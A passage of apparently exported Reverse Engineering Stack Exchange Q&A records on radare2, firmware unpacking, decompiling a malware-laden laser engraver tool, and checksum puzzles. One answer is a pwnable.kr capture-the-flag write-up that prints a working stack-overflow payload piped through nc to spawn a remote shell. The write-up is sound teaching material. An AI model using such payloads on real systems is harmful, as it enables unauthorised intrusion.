href=\"http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.set.architecture/index.html\">very well-documented</a>. Approach it as you would when learning any new programming language.</p>\n\n<p>Start analyzing the function from the very first instruction, and keep high-level notes on what each instruction is doing in the context of the function. Keep track of what values get stored in what registers and how memory is used. On first-pass, your goal is to determine <em>what</em> the function is doing (based on the instructions). Once you've extrapolated <em>what</em> the function is doing, your second-pass should focus on trying to understand <em>why</em> the function is doing what it's doing. After some time, things should begin to \"click\" in your mind, you'll get that \"aha!\" moment, and you'll understand how the target algorithm works.</p>\n"
    },
    {
        "Id": "11768",
        "CreationDate": "2016-01-15T13:57:56.113",
        "Body": "<p>when I am using the radare2 debugger, it happens that I have sometimes to examine variables and memory. Consider the following instruction</p>\n\n<pre><code>0x08048498      8b4508         mov eax, dword [ebp+arg2]\n</code></pre>\n\n<p>Assuming that I know that what in eax pointer to array of characters with null termination at the end (I mean string). So, <code>ebp+arg2</code> is pointer to that string.</p>\n\n<p>when I type <code>ps @eax</code> I get what I expect, a string. But, I can get the same result by accessing <code>[ebp+arg_2]</code>. I tried many things including <code>ps</code> and <code>ps/</code> etc.</p>\n",
        "Title": "How to print from pointers in radare2 in debug session",
        "Tags": "|debugging|debuggers|radare2|",
        "Answer": "<p>You should get the same result by <code>pf S @ ebp+arg2</code>.</p>\n\n<pre><code>pf[?][.nam] [fmt]              print formatted data (pf.name, pf.name $&lt;expr&gt;)\nS       64bit pointer to string (8 bytes)\n</code></pre>\n\n<p><code>pf S</code> stands for print formatted null terminated string referenced by a 64 bit pointer.</p>\n\n<p>You might have to use arg2's actually value like 0x8. </p>\n\n<p>I guess it is a renamed argument so you should look up in the function header what is it's value.</p>\n"
    },
    {
        "Id": "11770",
        "CreationDate": "2016-01-15T19:15:09.107",
        "Body": "<p>I can inspect <code>esp</code> in <code>radar2</code> using <code>dr esp</code>. In order to inspect <code>0x15(%esp)</code> I do the following:</p>\n\n<pre><code>    dr esp\n0xff966c60\n    ? 0xff966c60 + 0x15\n0xff966c75\n    px 4 @ 0xff966c75\n</code></pre>\n\n<p>Is there an easier way to do this? <code>px 4 @ esp + 0x15</code> is not what I need.</p>\n",
        "Title": "Examining memory in radare2 using registers",
        "Tags": "|radare2|",
        "Answer": "<p>You could chain your steps in a single command with something like <code>px 4 @ `dr esp` + 4</code>, or simply use <code>px 8 @ esp</code> and look at the second word.</p>\n"
    },
    {
        "Id": "11775",
        "CreationDate": "2016-01-16T19:48:48.450",
        "Body": "<p>I'm debugging a file with radare2 and when I come to <code>scanf</code> function I want to forward input from a .txt file. In gdb I would do this by typing <code>r &lt; text.txt</code>.</p>\n\n<p>Is something like that possible in radare2? I've tried <code>dc &lt; text.txt</code> but it seems that it's not working.</p>\n",
        "Title": "Radare2 forwarding input to scanf from a file",
        "Tags": "|radare2|",
        "Answer": "<p>I don't have enough reputation to comment <a href=\"https://reverseengineering.stackexchange.com/users/3721/maijin\">maijin</a> answer, but due to <a href=\"https://github.com/radareorg/radare2/issues/9788#issuecomment-412233079\" rel=\"nofollow noreferrer\">that answer</a>(<em>r2 issue #9788</em>) passing params after <strong>-d</strong> flag can get side effects.</p>\n\n<blockquote>\n  <p>... don't pass flags after -d or may be taken as args of the program\n  in some systems.</p>\n</blockquote>\n"
    },
    {
        "Id": "11777",
        "CreationDate": "2016-01-16T22:16:30.247",
        "Body": "<p>I was solving bof challenge on <a href=\"http://pwnable.kr/play.php\" rel=\"noreferrer\">http://pwnable.kr/play.php</a>\nit is required to smash the stack of the following code </p>\n\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;string.h&gt;\n#include &lt;stdlib.h&gt;\nvoid func(int key){\n    char overflowme[32];\n    printf(\"overflow me : \");\n    gets(overflowme);   // smash me!\n    if(key != 0xcafebabe){\n        system(\"/bin/sh\");\n    }\n    else{\n        printf(\"Nah..\\n\");\n    }\n}\nint main(int argc, char* argv[]){\n    func(0xdeadbeef);\n    return 0;\n}\n</code></pre>\n\n<p>and I was given compiler version of that I was supposed to exploit\nthe task was straightforward but when I overflow the array <code>overflowme</code> the control I never transfered to <code>/bin/sh</code> instead I get something like\n<code>*** stack smashing detected ***: ./bof terminated</code>\nattempt1:\ntry filling the array with zeros except for the <code>key</code> but failed\nattempt2:\nget memory dump for where the array is stored and overflow the array with that dump but still failed</p>\n",
        "Title": "How to effectively bypass GCC stack smashing detection",
        "Tags": "|gdb|c|buffer-overflow|",
        "Answer": "<p>The answer from Jason is the correct solution. However, I wanted to give an alternative answer without Python, but from the terminal. IMO Python is always preferred for better automation, but sometimes you just wanna have a quick exploit done without extra tools.</p>\n\n<p>With that in mind, one's natural attempt would be something like below:</p>\n\n<pre><code>echo -e \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\xbe\\xba\\xfe\\xca\\x0a\" | nc pwnable.kr 9000\n</code></pre>\n\n<p>After all, this is an exact replica of the code above in Python, right? Except, the server begs to differ:</p>\n\n<blockquote>\n  <p>*** stack smashing detected ***: /home/bof/bof terminated overflow me :</p>\n</blockquote>\n\n<p>So, what is the problem, then?</p>\n\n<p>Think about the command above, for a moment. It sends a bunch of characters to the stdin of the remote process, in the hopes of running /bin/sh. However, we still get greeted by the error. The reason for this, is that we are sending the correct payload, but then we are <em>stopping</em>. EOF. /bin/sh has no input, so execution continues to the next line, until the stack protector kicks in.</p>\n\n<p>The reason why Python works and the <code>echo</code> command doesn't, is continuity. Python doesn't close the stream, while the terminal version does.</p>\n\n<p>To prove it, here's a slightly longer version of the terminal exploit, which actually works:</p>\n\n<pre><code>echo -e \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\xbe\\xba\\xfe\\xca\\x0a\" &gt; payload.bin\n</code></pre>\n\n<p>First, we save the exact payload as before, to a file named payload.bin in this case. Next, we run the following command:</p>\n\n<pre><code>cat payload.bin - | nc pwnable.kr 9000\n</code></pre>\n\n<p>(Note the - after payload.bin, after cat is done outputting contents of payload.bin, it will start outputting whatever comes in via stdin)</p>\n\n<p>And voila! Now you are actually in. You can try typing shell commands, such as <code>cat flag</code>, or <code>touch /tmp/pwned</code> or whatever you like.</p>\n\n<p>Whew! That was long. Hope this info will help other confused souls as it did help me a while ago.</p>\n"
    },
    {
        "Id": "11785",
        "CreationDate": "2016-01-18T02:34:29.363",
        "Body": "<p>I would like to reverse-engineer the software that came with my Chinese-made laser engraver. Unfortunately the hardware does not play at all with other software out there... The original software is horribly buggy, is loaded with malware (specifically the Strictor Trojan), and the vendor is refusing to give support for the program. I would like to get the original code of this program so that I may remove the Trojan, debug the software, and just make the damn thing work. I paid over $400 for the thing and frankly I am quite pissed off at the fact that the software is complete SHIT. (pretty sure it hasn't been updated since win2k...) It acts as if it were written by some highschool kid as a senior project or something... severely limited and severely bugged.</p>\n\n<p>So looking at the error files this program keeps pumping out, i WAS 100% sure that the main program was made in .net (not sure if VB, VC, VC++, etc). it's stating errors with \"windows.form.button...\", ontop of that, they required .net framework to be installed in order to use it. Which made me think possibly VB? However after trying VBDecompilerLite, it stated that the program was compiled using an unknown compiler... so i'm at a loss here.</p>\n\n<p>I have tried to extract the code from the exe using DeDe, ResourceHacker, Universal Extractor, 7Zip extraction, etc - all of which produce a 0b file \"[0~]\" which is unreadable, or an error saying could not extract files. </p>\n\n<p>If anyone has a clue of what I could try next, please let me know. I cannot upload the file for people to test because - as I stated above - it contains malware. I am decompiling the program on a PC that is off the usual network, so no internet / network access there. </p>\n\n<p>Virus Scan Results:</p>\n\n<pre><code>Scanner         |   Malware Variant             |   AV updated\n---------------------------------------------------------------\nALYac               Gen:Variant.Strictor.99340      20160115\nAd-Aware            Gen:Variant.Strictor.99340      20160115\nArcabit             Trojan.Strictor.D1840C          20160115\nAvast               Win32:Malware-gen               20160115\nBitDefender         Gen:Variant.Strictor.99340      20160115\nEmsisoft            Gen:Variant.Strictor.99340 (B)  20160115\nF-Secure            Gen:Variant.Strictor.99340      20160115\nGData               Gen:Variant.Strictor.99340      20160115\nMicroWorld-eScan    Gen:Variant.Strictor.99340      20160115\nQihoo-360           QVM19.1.Malware.Gen             20160115\nRising              PE:Malware.RDM.18!5.18 [F]      20160114 \n</code></pre>\n\n<p>Please help me!</p>\n\n<p>Here is the original error that the program gave me (if it helps):</p>\n\n<pre><code>&gt; See the end of this message for details on invoking  just-in-time\n&gt; (JIT) debugging instead of this dialog box.\n&gt; \n&gt; ************** Exception Text ************** System.ArgumentException: Parameter is not valid.    at System.Drawing.Bitmap.LockBits(Rectangle\n&gt; rect, ImageLockMode flags, PixelFormat format, BitmapData bitmapData) \n&gt; at System.Drawing.Bitmap.LockBits(Rectangle rect, ImageLockMode flags,\n&gt; PixelFormat format)    at xj2.Form1.Gray2(Bitmap srcBitmap, Boolean\n&gt; reverse)    at xj2.Form1.button3_Click(Object sender, EventArgs e)   \n&gt; at System.Windows.Forms.Control.OnClick(EventArgs e)    at\n&gt; System.Windows.Forms.Button.OnClick(EventArgs e)    at\n&gt; System.Windows.Forms.Button.OnMouseUp(MouseEventArgs mevent)    at\n&gt; System.Windows.Forms.Control.WmMouseUp(Message&amp; m, MouseButtons\n&gt; button, Int32 clicks)    at\n&gt; System.Windows.Forms.Control.WndProc(Message&amp; m)    at\n&gt; System.Windows.Forms.ButtonBase.WndProc(Message&amp; m)    at\n&gt; System.Windows.Forms.Button.WndProc(Message&amp; m)    at\n&gt; System.Windows.Forms.Control.ControlNativeWindow.OnMessage(Message&amp; m)\n&gt; at System.Windows.Forms.Control.ControlNativeWindow.WndProc(Message&amp;\n&gt; m)    at System.Windows.Forms.NativeWindow.Callback(IntPtr hWnd, Int32\n&gt; msg, IntPtr wparam, IntPtr lparam)\n&gt; \n&gt; \n&gt; ************** Loaded Assemblies ************** mscorlib\n&gt;     Assembly Version: 2.0.0.0\n&gt;     Win32 Version: 2.0.50727.3643 (GDR.050727-3600)\n&gt;     CodeBase: file:///C:/windows/Microsoft.NET/Framework/v2.0.50727/mscorlib.dll\n&gt; ---------------------------------------- BoxedAppSDK_AppDomainManager\n&gt;     Assembly Version: 1.0.0.0\n&gt;     Win32 Version: 1.0.0.0\n&gt;     CodeBase: file:///C:/windows/assembly/GAC/BoxedAppSDK_AppDomainManager/1.0.0.0__ef07ce3257ee81c1/BoxedAppSDK_AppDomainManager.dll\n&gt; ---------------------------------------- xj2\n&gt;     Assembly Version: 1.0.0.0\n&gt;     Win32 Version: 1.0.0.0\n&gt;     CodeBase: file:///C:/Documents%20and%20Settings/Owner/\u30c7\u30b9\u30af\u30c8\u30c3\u30d7/1.exe\n&gt; ---------------------------------------- System.Windows.Forms\n&gt;     Assembly Version: 2.0.0.0\n&gt;     Win32 Version: 2.0.50727.3645 (GDR.050727-3600)\n&gt;     CodeBase: file:///C:/windows/assembly/GAC_MSIL/System.Windows.Forms/2.0.0.0__b77a5c561934e089/System.Windows.Forms.dll\n&gt; ---------------------------------------- System\n&gt;     Assembly Version: 2.0.0.0\n&gt;     Win32 Version: 2.0.50727.3644 (GDR.050727-3600)\n&gt;     CodeBase: file:///C:/windows/assembly/GAC_MSIL/System/2.0.0.0__b77a5c561934e089/System.dll\n&gt; ---------------------------------------- System.Drawing\n&gt;     Assembly Version: 2.0.0.0\n&gt;     Win32 Version: 2.0.50727.3644 (GDR.050727-3600)\n&gt;     CodeBase: file:///C:/windows/assembly/GAC_MSIL/System.Drawing/2.0.0.0__b03f5f7f11d50a3a/System.Drawing.dll\n&gt; ---------------------------------------- Accessibility\n&gt;     Assembly Version: 2.0.0.0\n&gt;     Win32 Version: 2.0.50727.3053 (netfxsp.050727-3000)\n&gt;     CodeBase: file:///C:/windows/assembly/GAC_MSIL/Accessibility/2.0.0.0__b03f5f7f11d50a3a/Accessibility.dll\n&gt; ---------------------------------------- xj2.resources\n&gt;     Assembly Version: 1.0.0.0\n&gt;     Win32 Version: 1.0.0.0\n&gt;     CodeBase: file:///C:/Documents%20and%20Settings/Owner/\u30c7\u30b9\u30af\u30c8\u30c3\u30d7/en/xj2.resources.DLL\n&gt; ---------------------------------------- System.Configuration\n&gt;     Assembly Version: 2.0.0.0\n&gt;     Win32 Version: 2.0.50727.3053 (netfxsp.050727-3000)\n&gt;     CodeBase: file:///C:/windows/assembly/GAC_MSIL/System.Configuration/2.0.0.0__b03f5f7f11d50a3a/System.Configuration.dll\n&gt; ---------------------------------------- System.Xml\n&gt;     Assembly Version: 2.0.0.0\n&gt;     Win32 Version: 2.0.50727.3082 (QFE.050727-3000)\n&gt;     CodeBase: file:///C:/windows/assembly/GAC_MSIL/System.Xml/2.0.0.0__b77a5c561934e089/System.Xml.dll\n&gt; ----------------------------------------\n&gt; \n&gt; ************** JIT Debugging ************** To enable just-in-time (JIT) debugging, the .config file for this application or computer\n&gt; (machine.config) must have the jitDebugging value set in the\n&gt; system.windows.forms section. The application must also be compiled\n&gt; with debugging enabled.\n&gt; \n&gt; For example:\n&gt; \n&gt; &lt;configuration&gt;\n&gt;     &lt;system.windows.forms jitDebugging=\"true\" /&gt; &lt;/configuration&gt;\n&gt; \n&gt; When JIT debugging is enabled, any unhandled exception will be sent to\n&gt; the JIT debugger registered on the computer rather than be handled by\n&gt; this dialog box.\n</code></pre>\n",
        "Title": "Reverse Engineering Chinese laser engraver",
        "Tags": "|malware|executable|.net|",
        "Answer": "<p>RedGate's NET Reflector can disassemble a whole DLL assembly and generate the .cs files &amp; even .vcxproj files. </p>\n\n<p>With the VSPro version, you can disassemble &amp; debug code on the fly.</p>\n\n<p>So, I suggest getting a trial of it.</p>\n\n<p>However, if the code is ofuscated (or is part native / part managed, ie with C++ CLI) it will not disassemble completely. However, from your stack trace, looks like it is not ofuscated.</p>\n\n<p>Additionally some ofuscators create a thread that checks in an infinite loop if System.Diagnostics.Debugger.IsAttached property is true and if so kills the whole process, so some extra effort may be required :)</p>\n"
    },
    {
        "Id": "11791",
        "CreationDate": "2016-01-19T00:24:06.677",
        "Body": "<p>I'm trying to use Binwalk to extract an IpCam bin firmware. I did it successfully for the WebUI, but I can't on the firmware itself.</p>\n\n<ul>\n<li>Hardware : Vstarcam C7824WIP</li>\n<li>Firmware : <a href=\"http://cd.gocam.so/FM/system/CH-sys-48.53.64.67.zip\" rel=\"noreferrer\">CH-sys-48.53.64.67.zip</a></li>\n<li>WebUI : <a href=\"http://cd.gocam.so/FM/vstarcam/CH-app-EN53.8.1.13_VSTARCAM.zip\" rel=\"noreferrer\">CH-app-EN53.8.1.13_VSTARCAM.zip</a></li>\n</ul>\n\n<p>Problem : It's only extracting \"sysversion.txt, a bit light :).</p>\n\n<p>Files :</p>\n\n<pre><code>ron@vpsXXXXXX:~/firmware$ ls\nCH-sys-48.53.64.67.zip\n</code></pre>\n\n<p>Verification and extraction :</p>\n\n<pre><code>ron@vpsXXXXXX:~/firmware$ binwalk CH-sys-48.53.64.67.zip\n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n0             0x0             Zip archive data, at least v2.0 to extract, compressed size: 605571, uncompressed size: 612699, name: CH-sys-48.53.64.67.bin\n605717        0x93E15         End of Zip archive\n\nron@vpsXXXXXX:~/firmware$ file CH-sys-48.53.64.67.zip\nCH-sys-48.53.64.67.zip: Zip archive data, at least v2.0 to extract\nron@vpsXXXXXX:~/firmware$ unzip CH-sys-48.53.64.67.zip\nArchive:  CH-sys-48.53.64.67.zip\n  inflating: CH-sys-48.53.64.67.bin\n</code></pre>\n\n<p>Binwalk without extracting :</p>\n\n<pre><code>ron@vpsXXXXXX:~/firmware$ binwalk CH-sys-48.53.64.67.bin\n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n172           0xAC            Zip archive data, at least v2.0 to extract, compressed size: 8969, uncompressed size: 19091, name: system/system/lib/libsns_gc1004.so\n9337          0x2479          End of Zip archive\n9499          0x251B          Zip archive data, at least v2.0 to extract, compressed size: 7813, uncompressed size: 16341, name: system/system/lib/libsns_ov9712_plus.so\n17518         0x446E          End of Zip archive\n17680         0x4510          Zip archive data, at least v2.0 to extract, compressed size: 90121, uncompressed size: 353248, name: system/system/lib/libOnvif.so\n107987        0x1A5D3         End of Zip archive\n108149        0x1A675         Zip archive data, at least v2.0 to extract, compressed size: 43603, uncompressed size: 84480, name: system/system/lib/libvoice_arm.so\n151946        0x2518A         End of Zip archive\n152108        0x2522C         Zip archive data, at least v2.0 to extract, compressed size: 130, uncompressed size: 227, name: system/init/ipcam.sh\n152406        0x25356         End of Zip archive\n152568        0x253F8         Zip archive data, at least v2.0 to extract, compressed size: 402383, uncompressed size: 886168, name: system/system/bin/encoder\n555129        0x87879         End of Zip archive\n555291        0x8791B         Zip archive data, at least v2.0 to extract, compressed size: 35394, uncompressed size: 74200, name: system/system/bin/wifidaemon\n590869        0x90415         End of Zip archive\n591031        0x904B7         Zip archive data, at least v2.0 to extract, compressed size: 1852, uncompressed size: 9692, name: system/system/bin/grade.sh\n593063        0x90CA7         End of Zip archive\n593225        0x90D49         Zip archive data, at least v2.0 to extract, compressed size: 8704, uncompressed size: 20212, name: system/system/bin/updata\n602105        0x92FF9         End of Zip archive\n602267        0x9309B         Zip archive data, at least v2.0 to extract, compressed size: 1874, uncompressed size: 4522, name: system/system/bin/gpio_aplink.ko\n604333        0x938AD         End of Zip archive\n604495        0x9394F         Zip archive data, at least v2.0 to extract, compressed size: 7241, uncompressed size: 16802, name: system/system/bin/motogpio.ko\n611922        0x95652         End of Zip archive\n612084        0x956F4         Zip archive data, at least v1.0 to extract, compressed size: 8, uncompressed size: 8, name: system/system/bin/fwversion.bin\n612282        0x957BA         End of Zip archive\n612444        0x9585C         Zip archive data, at least v1.0 to extract, compressed size: 9, uncompressed size: 9, name: system/system/bin/sysversion.txt\n612645        0x95925         End of Zip archive\n</code></pre>\n\n<p>Binwalk extraction : </p>\n\n<pre><code>ron@vpsXXXXXX:~/firmware$ binwalk -Mer CH-sys-48.53.64.67.bin\n\nScan Time:     2016-01-19 00:36:12\nTarget File:   /home/ron/firmware/CH-sys-48.53.64.67.bin\nMD5 Checksum:  58df9214226cfe46760215bfca0c496c\nSignatures:    344\n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n172           0xAC            Zip archive data, at least v2.0 to extract, compressed size: 8969, uncompressed size: 19091, name: system/system/lib/libsns_gc1004.so\n9337          0x2479          End of Zip archive\n9499          0x251B          Zip archive data, at least v2.0 to extract, compressed size: 7813, uncompressed size: 16341, name: system/system/lib/libsns_ov9712_plus.so\n17518         0x446E          End of Zip archive\n17680         0x4510          Zip archive data, at least v2.0 to extract, compressed size: 90121, uncompressed size: 353248, name: system/system/lib/libOnvif.so\n107987        0x1A5D3         End of Zip archive\n108149        0x1A675         Zip archive data, at least v2.0 to extract, compressed size: 43603, uncompressed size: 84480, name: system/system/lib/libvoice_arm.so\n151946        0x2518A         End of Zip archive\n152108        0x2522C         Zip archive data, at least v2.0 to extract, compressed size: 130, uncompressed size: 227, name: system/init/ipcam.sh\n152406        0x25356         End of Zip archive\n152568        0x253F8         Zip archive data, at least v2.0 to extract, compressed size: 402383, uncompressed size: 886168, name: system/system/bin/encoder\n555129        0x87879         End of Zip archive\n555291        0x8791B         Zip archive data, at least v2.0 to extract, compressed size: 35394, uncompressed size: 74200, name: system/system/bin/wifidaemon\n590869        0x90415         End of Zip archive\n591031        0x904B7         Zip archive data, at least v2.0 to extract, compressed size: 1852, uncompressed size: 9692, name: system/system/bin/grade.sh\n593063        0x90CA7         End of Zip archive\n593225        0x90D49         Zip archive data, at least v2.0 to extract, compressed size: 8704, uncompressed size: 20212, name: system/system/bin/updata\n602105        0x92FF9         End of Zip archive\n602267        0x9309B         Zip archive data, at least v2.0 to extract, compressed size: 1874, uncompressed size: 4522, name: system/system/bin/gpio_aplink.ko\n604333        0x938AD         End of Zip archive\n604495        0x9394F         Zip archive data, at least v2.0 to extract, compressed size: 7241, uncompressed size: 16802, name: system/system/bin/motogpio.ko\n611922        0x95652         End of Zip archive\n612084        0x956F4         Zip archive data, at least v1.0 to extract, compressed size: 8, uncompressed size: 8, name: system/system/bin/fwversion.bin\n612282        0x957BA         End of Zip archive\n612444        0x9585C         Zip archive data, at least v1.0 to extract, compressed size: 9, uncompressed size: 9, name: system/system/bin/sysversion.txt\n612645        0x95925         End of Zip archive\n\n\nScan Time:     2016-01-19 00:36:12\nTarget File:   /home/ron/firmware/_CH-sys-48.53.64.67.bin.extracted/system/system/bin/sysversion.txt\nMD5 Checksum:  3e98d83fbced8eb62c79542f5df5a14f\nSignatures:    344\n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n</code></pre>\n\n<p>Only one target file extracted...</p>\n\n<p>A quick look to headers :</p>\n\n<pre><code>ron@vpsXXXXXX:~/firmware$ head -n1 CH-sys-48.53.64.67.bin | hexdump -C\n00000000  77 77 77 2e 6f 62 6a 65  63 74 2d 63 61 6d 65 72  |www.object-camer|\n00000010  61 2e 63 6f 6d 2e 62 79  2e 68 6f 6e 67 7a 78 2e  |a.com.by.hongzx.|\n00000020  73 79 73 74 65 6d 2f 73  79 73 74 65 6d 2f 6c 69  |system/system/li|\n00000030  62 2f 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |b/..............|\n00000040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n*\n00000060  6c 69 62 73 6e 73 5f 67  63 31 30 30 34 2e 73 6f  |libsns_gc1004.so|\n00000070  2e 7a 69 70 00 00 00 00  00 00 00 00 00 00 00 00  |.zip............|\n00000080  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n*\n000000a0  e3 23 00 00 43 40 35 30  00 00 00 00 50 4b 03 04  |.#..C@50....PK..|\n000000b0  14 00 00 00 08 00 fa 8b  5d 47 89 42 30 43 09 23  |........]G.B0C.#|\n000000c0  00 00 93 4a 00 00 22 00  1c 00 73 79 73 74 65 6d  |...J..\"...system|\n000000d0  2f 73 79 73 74 65 6d 2f  6c 69 62 2f 6c 69 62 73  |/system/lib/libs|\n000000e0  6e 73 5f 67 63 31 30 30  34 2e 73 6f 55 54 09 00  |ns_gc1004.soUT..|\n000000f0  03 88 e7 31 56 88 e7 31  56 75 78 0b 00 01 04 ed  |...1V..1Vux.....|\n00000100  03 00 00 04 ed 03 00 00  e5 7c 0b 78 53 55 d6 f6  |.........|.xSU..|\n00000110  3e b9 b4 69 9a cb 69 cf  29 96 8b 92 0a           |&gt;..i..i.)....|\n0000011d\n</code></pre>\n\n<p>Any idea why I'm not able to extract everything ? </p>\n\n<p>Thank you !</p>\n\n<p>Ronan</p>\n",
        "Title": "Unpack IpCam firmware - Binwalk extraction issue",
        "Tags": "|binary-analysis|binary|",
        "Answer": "<p>Although my binwalk version extracted the files correctly to the <code>system</code> folder along with the zip files containing only the <code>sysversion.txt</code>, I shortly describe why you see only the <code>sysversion.txt</code> in the archive files.\nIt is because the firmware file contain multiple PKZIP archives and the binwalk does not know the exact size of these files. So, it can identify the start of the PKZIP file correctly based on the PK magic, but without knowing the correct file size, it extracts the remaining bytes to the created ZIP file. Because the central directory structure in PKZIP format stored at the end of the ZIP file, after the compressed data and the extracted ZIP file ends with the <code>sysversion.txt.zip</code>, the file viewer or decompressor may found the central directory of the last ZIP file.</p>\n\n<p>To solve this problem, you may check the system folder in the same folder you found the ZIP files, or you can extract the files manually.<br>\nIf you take a look at the start of the <code>CH-sys-48.53.64.67.bin</code> file, you will find that it has a simple structure. It starts with a magic string (marked with blue in the picture). The next element is a 0x40 bytes long directory name (marked with yellow) followed by a 0x40 bytes long file name entry (marked with green). After the file name you will find the size of the file (marked with purple), some flags and the binary content (start of the binary file marked with grey).</p>\n\n<p><a href=\"https://i.stack.imgur.com/u3KtS.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/u3KtS.png\" alt=\"enter image description here\"></a></p>\n\n<p>Based on these information you can write a simple script, which extracts the files correctly, for example:</p>\n\n<pre><code>import sys\nimport struct\n\nif (len(sys.argv) &lt; 2):\n    print 'usage: parse binary'\n    sys.exit(1)\n\nb = open(sys.argv[1], 'rb').read()\no = 0x20\nwhile(o &lt; len(b)-0x20):\n    dir = b[o:o+0x40].strip('\\x00')\n    fname = b[o+0x40:o+0x80].strip('\\x00')\n    size = struct.unpack('L', b[o+0x80:o+0x84])[0]\n    unk1 = struct.unpack('L', b[o+0x84:o+0x88])[0]\n    unk2 = struct.unpack('L', b[o+0x88:o+0x8c])[0]\n    print '%x, %s, %s: %x, %x, %x'%(o, dir, fname, size, unk1, unk2)\n    open(fname, 'wb').write(b[o+0x8c:o+0x8c+size])\n    o += 0x8c+size\n</code></pre>\n"
    },
    {
        "Id": "11799",
        "CreationDate": "2016-01-19T15:53:40.290",
        "Body": "<p>Basically I have a set of 32-bit ELF program binaries compiled by either <code>gcc</code> or <code>llvm</code>. They are all stripped before analysis. </p>\n\n<p>My question is that, given a binary, is there any way I can determine whether it is compiled by <code>gcc</code> or <code>llvm</code>? Is there any available tool to do so? </p>\n",
        "Title": "Given a program binary, how can I know which compiler it is compiled from?",
        "Tags": "|binary-analysis|binary|binary-format|",
        "Answer": "<p>I am no expert in the matter but I would try:</p>\n\n<ol>\n<li><p><strong>see exported functions names</strong></p>\n\n<p>if <a href=\"https://en.wikipedia.org/wiki/Name_mangling\" rel=\"nofollow\">mangling</a> is present you can use it for compiler detection. Just make a list of exported function names and compare to known mangling schemes (for example from the table in linked wiki page)</p></li>\n<li><p><strong>examine linked DLL's</strong></p>\n\n<p>you can detect well known <strong>RTL</strong>'s by the filenames.</p></li>\n<li><p><strong>Also you can try to find language/compiler engine</strong></p>\n\n<p>each version of each compiler of modern programing languages need to have its engine. It is part of code that is responsible for things like stack, variables, control flow etc and is always the same for each compiled program with the same compiler version.</p>\n\n<p>So create simple hello world apps in each compiler you can found and extract the engine binary. then simply search unknown binary and test if supported engine is present or not.</p></li>\n</ol>\n\n<p>The first two bullets are more for <strong>PE</strong> (not sure if elf has the same info) and there are tools for such inspection (like <strong>PE/DLL</strong> explorers so for elf there should be something similar).</p>\n"
    },
    {
        "Id": "11803",
        "CreationDate": "2016-01-20T09:03:40.150",
        "Body": "<p>I have an encrypted raw data file generated by an application. This file is used in a second application to generate a readable text file based on the raw data.</p>\n\n<p>I need to change a few values in the raw data file, but since the contents of the raw data file are encrypted, I wanted to find out what is the encryption mechanism that is being used on the file, so I can decrypt it, make some changes, and encrypt it back.</p>\n\n<p>A sample of the file can be found here: <a href=\"http://pastebin.com/Cuj8aTG1\" rel=\"nofollow\">http://pastebin.com/Cuj8aTG1</a></p>\n\n<p>Since I could not infer, based on the contents of the file, what kind of encryption is used, I wanted to know if there is a good debugger for windows that I can use to try and go through the code of the application, and see if I can check how the decryption is made.</p>\n\n<p>Since I do not know if the debugger will depend on the language used, it does not use .net, that would be more easy to reverse engineer.</p>\n\n<p>Thank you for your help.</p>\n",
        "Title": "Debug an application for analyzing file decryption",
        "Tags": "|encryption|decryption|cryptography|",
        "Answer": "<blockquote>\n  <p>I wanted to know if there is a good debugger for windows that I can\n  use</p>\n</blockquote>\n\n<p><a href=\"http://www.ollydbg.de/version2.html\" rel=\"nofollow\">OllyDbg v2</a> is a good debugger for Windows.</p>\n"
    },
    {
        "Id": "11804",
        "CreationDate": "2016-01-20T12:40:02.667",
        "Body": "<p>I have a device at work with no documentation about it's checksum calculation. I know that the last byte in each message is the checksum, and most of the messages to the device requires a correct checksum.</p>\n\n<p>I thought it was easy to figure out, probably some CRC or something, but i really can't figure this out.</p>\n\n<p>I have some messages (from the device) with only one of the bytes changing to make it easier to find a pattern.</p>\n\n<p>The last byte in each message is the Checksum.</p>\n\n<p>The second last byte increments in theese messages:</p>\n\n<pre><code>00h 5Ch A2h 00h 04h D2h 38h\n00h 5Ch A2h 00h 04h 57h BDh\n00h 5Ch A2h 00h 08h AEh 1Ch\n00h 5Ch A2h 00h 00h 01h 7Fh\n00h 5Ch A2h 00h 00h 02h 80h\n00h 5Ch A2h 00h 00h 03h 81h\n00h 5Ch A2h 00h 00h 04h 82h\n00h 5Ch A2h 00h 27h 0Fh BCh\n</code></pre>\n\n<p>The 4th byte increments in those:</p>\n\n<pre><code>00h 5Ch A2h 00h 00h 01h 7Fh\n00h 5Ch A2h 01h 00h 01h 63h\n00h 5Ch A2h 02h 00h 01h 67h\n00h 5Ch A2h 03h 00h 01h 6Bh \n00h 5Ch A2h 04h 00h 01h 6Fh\n</code></pre>\n\n<p>I hope someone out there can help, its really a showstopper for me.</p>\n\n<p><strong>EDIT - added some more examples</strong></p>\n\n<pre><code>00h 5Ch A2h 01h 01h 01h 65h\n00h 5Ch A2h 01h 01h 02h 66h\n00h 5Ch A2h 01h 01h 03h 67h\n00h 5Ch A2h 01h 01h 04h 68h\n\n00h 5Ch A2h 01h 01h 01h 65h\n00h 5Ch A2h 01h 01h 02h 66h\n00h 5Ch A2h 01h 01h 03h 67h\n00h 5Ch A2h 01h 01h 04h 68h\n00h 5Ch A2h 02h 01h 01h 69h\n00h 5Ch A2h 02h 01h 02h 6Ah\n00h 5Ch A2h 02h 01h 03h 6Bh\n</code></pre>\n\n<p>One more example of the same message where the last 3 bytes are 00h:</p>\n\n<pre><code>00h 5Ch A2h 00h 00h 00h 7Eh\n</code></pre>\n\n<p><strong>2nd EDIT- Added a Pastebin link to a ton of other samples, all of the same message type</strong></p>\n\n<p>Its a different message but there is a lot of samples:\n<a href=\"http://pastebin.com/bXTw5r4V\" rel=\"nofollow\">Lots of sample messages in Pastebin</a></p>\n",
        "Title": "I really struggled to figure it out, now can anyone help me reverse engineer this checksum?",
        "Tags": "|serial-communication|crc|",
